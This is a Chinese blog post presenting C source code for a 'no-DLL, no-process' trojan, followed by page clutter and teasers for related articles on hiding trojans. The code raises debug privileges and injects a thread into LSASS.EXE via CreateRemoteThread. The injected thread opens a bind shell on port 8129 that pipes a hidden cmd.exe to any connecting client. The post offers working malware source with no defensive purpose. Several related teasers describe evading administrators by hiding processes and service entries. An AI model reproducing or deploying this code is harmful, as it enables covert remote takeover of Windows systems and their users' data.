无dll无进程木马

无进程无启动项无硬盘文件运行程序的研究 立即下载

#include<windows.h>
//#include<winsock2.h>
#include <Shlwapi.h>
#include <tlhelp32.h>

#pragma comment(lib,"Shlwapi.lib")

//参数结构 ;
typedef struct _RemotePara{
   DWORD dwLoadLibrary;
   DWORD dwFreeLibrary;
   DWORD dwGetProcAddress;
   DWORD dwGetModuleHandle;
   DWORD dwWSAStartup;
   DWORD dwSocket;
   DWORD dwhtons;
   DWORD dwbind;
   DWORD dwlisten;
   DWORD dwaccept;
   DWORD dwsend;
   DWORD dwrecv;
   DWORD dwclosesocket;
   DWORD dwCreateProcessA;
   DWORD dwPeekNamedPipe;
   DWORD dwWriteFile;
   DWORD dwReadFile;
   DWORD dwCloseHandle;
   DWORD dwCreatePipe;
   DWORD dwTerminateProcess;

   DWORD dwMessageBox;
   char strMessageBox[12];
   char winsockDll[16];
   char cmd[10];
   char Buff[4096];
   char telnetmsg[60];

}RemotePara;

BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable); // 提升应用级调试权限
DWORD GetPidByName(char *szName); // 根据进程名称得到进程ID

// 远程线程执行体
DWORD __stdcall ThreadProc(RemotePara *Para){
 WSADATA WSAData;
 SOCKET listenSocket, clientSocket;
 struct sockaddr_in server_addr, client_addr;
 int iAddrSize = sizeof(client_addr);
 SECURITY_ATTRIBUTES sa;
 HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;
 STARTUPINFO si;
 PROCESS_INFORMATION ProcessInformation;
 unsigned long lBytesRead = 0;

 typedef HINSTANCE (__stdcall *PLoadLibrary)(char*);
 typedef FARPROC (__stdcall *PGetProcAddress)(HMODULE, LPCSTR);
 typedef HINSTANCE (__stdcall *PFreeLibrary)( HINSTANCE );
 typedef HINSTANCE (__stdcall *PGetModuleHandle)(HMODULE);

 FARPROC PMessageBoxA;
 FARPROC PWSAStartup;
 FARPROC PSocket;
 FARPROC Phtons;
 FARPROC Pbind;
 FARPROC Plisten;
 FARPROC Paccept;
 FARPROC Psend;
 FARPROC Precv;
 FARPROC Pclosesocket;
 FARPROC PCreateProcessA;
 FARPROC PPeekNamedPipe;
 FARPROC PWriteFile;
 FARPROC PReadFile;
 FARPROC PCloseHandle;
 FARPROC PCreatePipe;
 FARPROC PTerminateProcess;

 PLoadLibrary LoadLibraryFunc             = (PLoadLibrary)Para->dwLoadLibrary;
 PGetProcAddress GetProcAddressFunc       = (PGetProcAddress)Para->dwGetProcAddress;
 PFreeLibrary FreeLibraryFunc             = (PFreeLibrary)Para->dwLoadLibrary;
 PGetModuleHandle GetModuleHandleFunc     = (PGetModuleHandle)Para->dwGetModuleHandle;

 LoadLibraryFunc(Para->winsockDll);

 PWSAStartup   = (FARPROC)Para->dwWSAStartup;
 PSocket       = (FARPROC)Para->dwSocket;
 Phtons        = (FARPROC)Para->dwhtons;
 Pbind         = (FARPROC)Para->dwbind;
 Plisten       = (FARPROC)Para->dwlisten;
 Paccept       = (FARPROC)Para->dwaccept;
 Psend         = (FARPROC)Para->dwsend;
 Precv         = (FARPROC)Para->dwrecv;
 Pclosesocket  = (FARPROC)Para->dwclosesocket;
 PCreateProcessA    = (FARPROC)Para->dwCreateProcessA;
 PPeekNamedPipe     = (FARPROC)Para->dwPeekNamedPipe;
 PWriteFile         = (FARPROC)Para->dwWriteFile;
 PReadFile          = (FARPROC)Para->dwReadFile;
 PCloseHandle       = (FARPROC)Para->dwCloseHandle;
 PCreatePipe        = (FARPROC)Para->dwCreatePipe;
 PTerminateProcess  = (FARPROC)Para->dwTerminateProcess;

 PMessageBoxA       = (FARPROC)Para->dwMessageBox;

 PWSAStartup((WORD)((1<<8)|1), (LPWSADATA)&WSAData);
 listenSocket = PSocket(AF_INET, SOCK_STREAM, 0);
 if(listenSocket == INVALID_SOCKET)return 0;

 server_addr.sin_family      = AF_INET;
 server_addr.sin_port        = Phtons((unsigned short)(8129));
 server_addr.sin_addr.s_addr = INADDR_ANY;

 if(Pbind(listenSocket, (struct sockaddr *)&server_addr, sizeof(SOCKADDR_IN)) != 0)return 0;
 if(Plisten(listenSocket, 5))return 0;
 clientSocket = Paccept(listenSocket, (struct sockaddr *)&client_addr, &iAddrSize);
// Psend(clientSocket, Para->telnetmsg, 60, 0);

 if(!PCreatePipe(&hReadPipe1,&hWritePipe1,&sa,0))return 0;
 if(!PCreatePipe(&hReadPipe2,&hWritePipe2,&sa,0))return 0;

 ZeroMemory(&si,sizeof(si)); //ZeroMemory是C运行库函数,可以直接调用
 si.dwFlags     = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 si.wShowWindow = SW_HIDE;
 si.hStdInput   = hReadPipe2;
 si.hStdOutput  = si.hStdError = hWritePipe1;

 if(!PCreateProcessA(NULL,Para->cmd,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation))return 0;
 while(1) {
  memset(Para->Buff,0,4096);
  PPeekNamedPipe(hReadPipe1,Para->Buff,4096,&lBytesRead,0,0);
  if(lBytesRead) {
   if(!PReadFile(hReadPipe1, Para->Buff, lBytesRead, &lBytesRead, 0))break;
   if(!Psend(clientSocket, Para->Buff, lBytesRead, 0))break;
  }else {
   lBytesRead=Precv(clientSocket, Para->Buff, 4096, 0);
   if(lBytesRead <=0 ) break;
   if(!PWriteFile(hWritePipe2, Para->Buff, lBytesRead, &lBytesRead, 0))break;
  }
 }

 PCloseHandle(hWritePipe2);
 PCloseHandle(hReadPipe1);
 PCloseHandle(hReadPipe2);
 PCloseHandle(hWritePipe1);
 Pclosesocket(listenSocket);
 Pclosesocket(clientSocket);

// PMessageBoxA(NULL, Para->strMessageBox, Para->strMessageBox, MB_OK);

 return 0;
}

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 const DWORD THREADSIZE=1024*4;
 DWORD byte_write;
 void *pRemoteThread;
 HANDLE hToken,hRemoteProcess,hThread;
 HINSTANCE hKernel,hUser32,hSock;
 RemotePara myRemotePara,*pRemotePara;
 DWORD pID;

 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
 EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);

 // 获得指定进程句柄,并设其权限为PROCESS_ALL_ACCESS
 pID = GetPidByName("LSASS.EXE");
 if(pID == 0)return 0;
 hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
 if(!hRemoteProcess)return 0;

 // 在远程进程地址空间分配虚拟内存
 pRemoteThread = VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
 if(!pRemoteThread)return 0;

 // 将线程执行体ThreadProc写入远程进程
 if(!WriteProcessMemory(hRemoteProcess, pRemoteThread, &ThreadProc, THREADSIZE,0))return 0;
 
 ZeroMemory(&myRemotePara,sizeof(RemotePara));
 hKernel = LoadLibrary( "kernel32.dll");
 myRemotePara.dwLoadLibrary      = (DWORD)GetProcAddress(hKernel, "LoadLibraryA");
 myRemotePara.dwFreeLibrary      = (DWORD)GetProcAddress(hKernel, "FreeLibrary");
 myRemotePara.dwGetProcAddress   = (DWORD)GetProcAddress(hKernel, "GetProcAddress");
 myRemotePara.dwGetModuleHandle  = (DWORD)GetProcAddress(hKernel, "GetModuleHandleA");

 myRemotePara.dwCreateProcessA     = (DWORD)GetProcAddress(hKernel, "CreateProcessA");
 myRemotePara.dwPeekNamedPipe      = (DWORD)GetProcAddress(hKernel, "PeekNamedPipe");
 myRemotePara.dwWriteFile          = (DWORD)GetProcAddress(hKernel, "WriteFile");
 myRemotePara.dwReadFile           = (DWORD)GetProcAddress(hKernel, "ReadFile");
 myRemotePara.dwCloseHandle        = (DWORD)GetProcAddress(hKernel, "CloseHandle");
 myRemotePara.dwCreatePipe         = (DWORD)GetProcAddress(hKernel, "CreatePipe");
 myRemotePara.dwTerminateProcess   = (DWORD)GetProcAddress(hKernel, "TerminateProcess");

 hSock = LoadLibrary("wsock32.dll");
 myRemotePara.dwWSAStartup   = (DWORD)GetProcAddress(hSock,"WSAStartup");
 myRemotePara.dwSocket       = (DWORD)GetProcAddress(hSock,"socket");
 myRemotePara.dwhtons        = (DWORD)GetProcAddress(hSock,"htons");
 myRemotePara.dwbind         = (DWORD)GetProcAddress(hSock,"bind");
 myRemotePara.dwlisten       = (DWORD)GetProcAddress(hSock,"listen");
 myRemotePara.dwaccept       = (DWORD)GetProcAddress(hSock,"accept");
 myRemotePara.dwrecv         = (DWORD)GetProcAddress(hSock,"recv");
 myRemotePara.dwsend         = (DWORD)GetProcAddress(hSock,"send");
 myRemotePara.dwclosesocket  = (DWORD)GetProcAddress(hSock,"closesocket");

 hUser32 = LoadLibrary("user32.dll");
 myRemotePara.dwMessageBox = (DWORD)GetProcAddress(hUser32, "MessageBoxA");

 strcat(myRemotePara.strMessageBox,"Sucess!//0");
 strcat(myRemotePara.winsockDll,"wsock32.dll//0");
 strcat(myRemotePara.cmd,"cmd.exe//0");
 strcat(myRemotePara.telnetmsg,"Connect Sucessful!//n//0");
 
 //写进目标进程
 pRemotePara =(RemotePara *)VirtualAllocEx (hRemoteProcess ,0,sizeof(RemotePara),MEM_COMMIT,PAGE_READWRITE);
 if(!pRemotePara)return 0;
 if(!WriteProcessMemory (hRemoteProcess ,pRemotePara,&myRemotePara,sizeof myRemotePara,0))return 0;

 // 启动线程
 hThread = CreateRemoteThread(hRemoteProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pRemotePara,0,&byte_write);
 
 FreeLibrary(hKernel);
 FreeLibrary(hSock);
 FreeLibrary(hUser32);
 CloseHandle(hRemoteProcess);
 CloseHandle(hToken);

 return 0;
}

BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable){
 TOKEN_PRIVILEGES tp;
 tp.PrivilegeCount = 1;
 LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges[0].Luid);
 tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;
 AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
 return((GetLastError() == ERROR_SUCCESS));
}

DWORD GetPidByName(char *szName)
{
 HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
 PROCESSENTRY32 pe32={0};
 DWORD dwRet=0;
 
 hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
 if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;
 
 pe32.dwSize = sizeof(PROCESSENTRY32);
 if(Process32First(hProcessSnap, &pe32))
 {
  do
  {
   if(StrCmpNI(szName,pe32.szExeFile,strlen(szName))==0)
   {
    dwRet=pe32.th32ProcessID;
    break;
   }
  }while (Process32Next(hProcessSnap,&pe32));
 }
 else return 0;
 
 if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);
 return dwRet;

STM32标准库下载保姆级教程:2024最新官网免注册直接下载方法 本文提供2024年最新STM32标准库免注册下载方法,包括直接下载链接、GitHub镜像仓库和开发工具内置库三种途径。详细介绍了标准外设库的优势、配置步骤及常见问题解决方案,帮助开发者快速获取并应用这一重要开发资源。 阅读详情

相关推荐

从科研小白到动物行为分析:我的DeepLabCut 3.0安装与初体验全记录

本文记录了从科研小白到成功安装并使用DeepLabCut 3.0进行动物行为分析的全过程。详细介绍了Anaconda环境配置、CUDA版本选择、DeepLabCut安装步骤及验证方法,并分享了初体验中的实用技巧和跨学科研究心得,为生物研究者提供了AI工具应用的实战指南。

weixin_30235225的博客 403

C#实现简单的木马程序(学习木马制作流程)

要实现木马服务的程序,需要实现以下几个功能: 后台的运行(隐藏技术) 控制码的接收与注册表的修改 一、先建立一个Windows窗体应用程序,为了方便隐藏,项目名称可使用与系统相近的名称(如svchost.exe等)。 1.将窗体属性"ShowInTaskbar"设为false,让它运行时不会在任务栏中显示。 2.将窗体属性"Windowstate"设为Mininized,这样窗体就可以隐藏运行了。 二、控制代码的接收,必须在服务程序运行开始时就启动,所以侦听线程必须在程序初始化中启动,所以放在窗体

美奇软件开发工作室 4800

U3d WebGL使用ToLua

首先我们在编辑器模式下加入Tolua插件,然后配置修改到在编辑器模式下能够正常的运行。 同个U3d 插件Build出WebGL的工程,运行的时候你会发现(有些需要把这个WebGL工程放在一个HttpServer下面,直接本地访问index.html会被拒绝,让你使用http的格式)。 当要加载完的时候会出现 To use dlopen, you need to use Emscripten'...

qq_35267906的博客 2949

Byshell:无进程无DLL无硬盘文件无启动项

怎样隐藏自身的进程?一个普遍采用的方法就是远程线程注射。但它最大的问题是注射代码到了远程进程的地址空间后,由于地址空间的变化,依赖于原来地址空间的所有直接寻址指令需要重定位。这点对汇编老手来手是很容易理解的,对高级语言程序编写者来说这意味着所有显式和非显式的全局变量(如API地址和字符串)都需要进行手工重定位。 相比于病毒程序,我们很幸福,因为我们的的注射器可以同时向远程进程注射一个“全局变量...

weixin_30381317的博客 221

用Multisim复刻经典收音机:从零搭建超外差中波调幅接收机(附仿真源文件)

本文详细介绍了如何使用Multisim软件从零搭建超外差中波调幅接收机,复刻经典收音机的设计过程。通过模块化搭建、稳定性优化和增益分配等实战指南,帮助读者掌握超外差架构的核心技术,并附赠仿真源文件供实践参考。

weixin_28744423的博客 477

【网络图】:附Origin详细画图教程

网络图,是一种由节点(或顶点)和连接这些节点的边(或链路)组成的图形结构。在网络图中,节点通常代表系统中的一个实体(如项目中的一项任务、通信网络中的一个设备、或运输网络中的一个站点),而边则代表这些实体之间的直接联系或流动(如任务的先后顺序、数据的传输路径、或乘客的旅行路线)。 有向图:如果边具有方向性,即从一个节点指向另一个节点,则称为有向图。这种图常用于表示具有明确先后顺序或方向性的系统,如项目管理中的任务依赖关系。 无向图:如果图中的边没有方向,则称为无向图。它适用于表示实体间相互关联但无明确方向性的

weixin_50236590的博客 3956

无进程无DLL无硬盘文件

 下一个问题是启动项和文件。Ntboot.exe是后门的注射器,将自己作为服务启动,我们决不能让管理员发现服务键值。怎么办?这个也是农民前辈提出的思想:先删除所有后门文件和服务,设定一个关机通知和一个一键关机钩子,在即将关机的时候写入文件和服务项。同样的,一开机这个服务只要启动了就会先把自己删除。这样就实现了无文件和无启动项。管理员用注册表对比将不能发现异常,也无处寻找我们的后门文件。看一下设定一

1327

A2A 协议详解:Agent Card 的设计与实现

Agent Card 是 Agent2Agent (A2A) 协议中实现智能体发现与互操作性的核心组件。本文将深入剖析 Agent Card 的设计理念、关键字段及其在智能体生态系统中的作用。我们将通过详细的 JSON Schema 解析和 Python SDK 示例,帮助您理解如何精确地定义和发布智能体能力,为构建可发现、可协作的 AI 智能体奠定基础。当您使用a2a.Agent类初始化一个智能体时,SDK 会根据您提供的参数(nameversion等)自动构建内部的 Agent Card 表示。

加入“Super Entity”,与全能开发团队共探AI智能体与数字人项目,开启前沿技术之旅。 1482

c语言木马程序,网上看到的一个用C语言编写的木马源程序代码大家一起学学

c程序源码以下是在网上看到的一个用C语言编写的木马源程序代码大家一起学学#include#pragma comment(lib,"ws2_32.lib")#include#include #pragma comment(lib,"Shlwapi.lib")#include #include #include //参数结构 ;typedef struct _RemotePara{DWORD dwLo...

weixin_39653764的博客 1098

86、高斯过程:学习、应用与自动相关性确定

本文介绍了高斯过程回归的基本原理及其在实际应用中的关键技术,重点探讨了通过最大化对数似然函数来学习模型超参数的方法,并详细阐述了自动相关性确定(ARD)技术如何用于评估输入变量的重要性。文章涵盖了从协方差函数定义、梯度计算到优化算法的应用流程,并通过流程图和表格形式总结了核心步骤与公式。此外,还讨论了贝叶斯处理方式及异方差问题的建模策略,展示了高斯过程在复杂数据建模中的灵活性与强大能力。

android的专栏 114

一文搞懂多速率信号处理中信号插值的本质:从插 0、插原值到线性插值!

信号插值在数字信号处理中经常被使用,但“插值”背后究竟发生了什么,却常被忽略。插0、插原值、线性插值看似只是不同的实现方式,实则对应着完全不同的频域效应与滤波特性。本文将结合公式与MATLAB仿真,深入剖析插0、插原值与线性插值三种典型策略的本质区别。

m0_66360845的博客 923

WINNT下隐藏木马的进程 DLL木马篇

——WINNT下隐藏木马的进程 DLL木马篇——   NT系统下木马进程的隐藏   在WIN9X中,只需要将进程注册为系统服务就能够从进程查看器中隐形,可是这一切在WINNT中却完全不同, 无论木马从端口、启动文件上如何巧妙地隐藏自己,始终都不能欺骗WINNT的任务管理器,难道在WINNT下木马真的再也无法隐藏自己的进程了?   我们知道,在WINDOWS系统下,可执行文件主要是Exe和Com文件

回家念经(kv300)--编程之禅 2589

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

无进程DLL木马开发思路与实现

最近新型木马有向无进程DLL木马方向发展的趋势。虽然,编程方法多种多样,但原理基本上是相通的。我们特组织了这篇文章,使大家对此有更多的了解: 一.Windows下进程的隐藏 二.Windows Socket 2 SPI技术概述 三.基于SPI的DLL木马技术 四.主要代码分析 五.小结与后记 六.附录之源代码 一)Windows下进程的隐藏 在M$的32位操作系统中,有许许多多的办法可以实现进程隐

Hkiller 1038

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

无进程DLL木马

最近新型木马有向无进程DLL木马方向发展的趋势。虽然,编程方法多种多样,但原理基本上是相通的。我们特组织了这篇文章,使大家对此有更多的了解: 一.Windows下进程的隐藏 二.Windows Socket 2 SPI技术概述 三.基于SPI的DLL木马技术 四.主要代码分析 五.小结与后记 六.附录之源代码 一)Windows下进程的隐藏 在M$的32位操作系统中,有许许多多的办法可以实

windy8848的专栏 891

DLL木马进程内幕大揭密

DLL木马进程内幕大揭密 去发现同类优质开源项目:https://gitcode.com/ 此仓库提供了一本关于DLL木马进程的书籍资源下载,标题为《DLL木马进程内幕大揭密》。该书深入浅出地讲解了DLL木马的工作原理、技术细节及其在进程中的行为模式,对于网络安全爱好者和从业人员具有很高的参考价值。 书中详细介绍了DLL木马的构造、加载方式、隐藏技巧以及对抗策略,旨在帮助读者深入了解DLL木马进程...

gitblog_06783的博客 415

DLL技术木马进程内幕

很多朋友还是不知道“DLL木马”是什么东东。那到底什么是“DLL木马”呢?它与一般的木马又有什么不同?带着这些疑问,一起开始这次揭密之旅吧!   一、追根溯源从DLL说起    要了解什么是“DLL木马”,就必须知道“DLL”是什么意思!说起DLL,就不能不涉及到久远的DOS时代。在DOS大行其道的时代,写程序是一件繁琐的事情,因为每个程序的代码都是需要独立的,这时为了实现一个

TonyWang的专栏 1426

XP中被嵌入到可信进程(如:Explorer.exe)的木马dll文件

最近家里的电脑的浏览器被窜改,我试着将浏览器恢复,并删除了注册表的键值,当我没有重新启动的时候是可以恢复的,但是当我们重新启动的时候,有两个dos文件在运行,但是一下就消失了,没有看到命令,我也试过系统恢复,但是一开始是没事的,后来还是被改了,于是我想应该是被嵌入的dll文件导致的,因为我试图寻找进程,但是总有两个更新进程在,一个是提示16位,一个是32位,我想应该是这个文件的问题,但是不知道如何

Robin's Log 3790
上一篇: Win2K下的Api函数的拦截
下一篇: 管理员组获取系统权限的完美解决方案
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值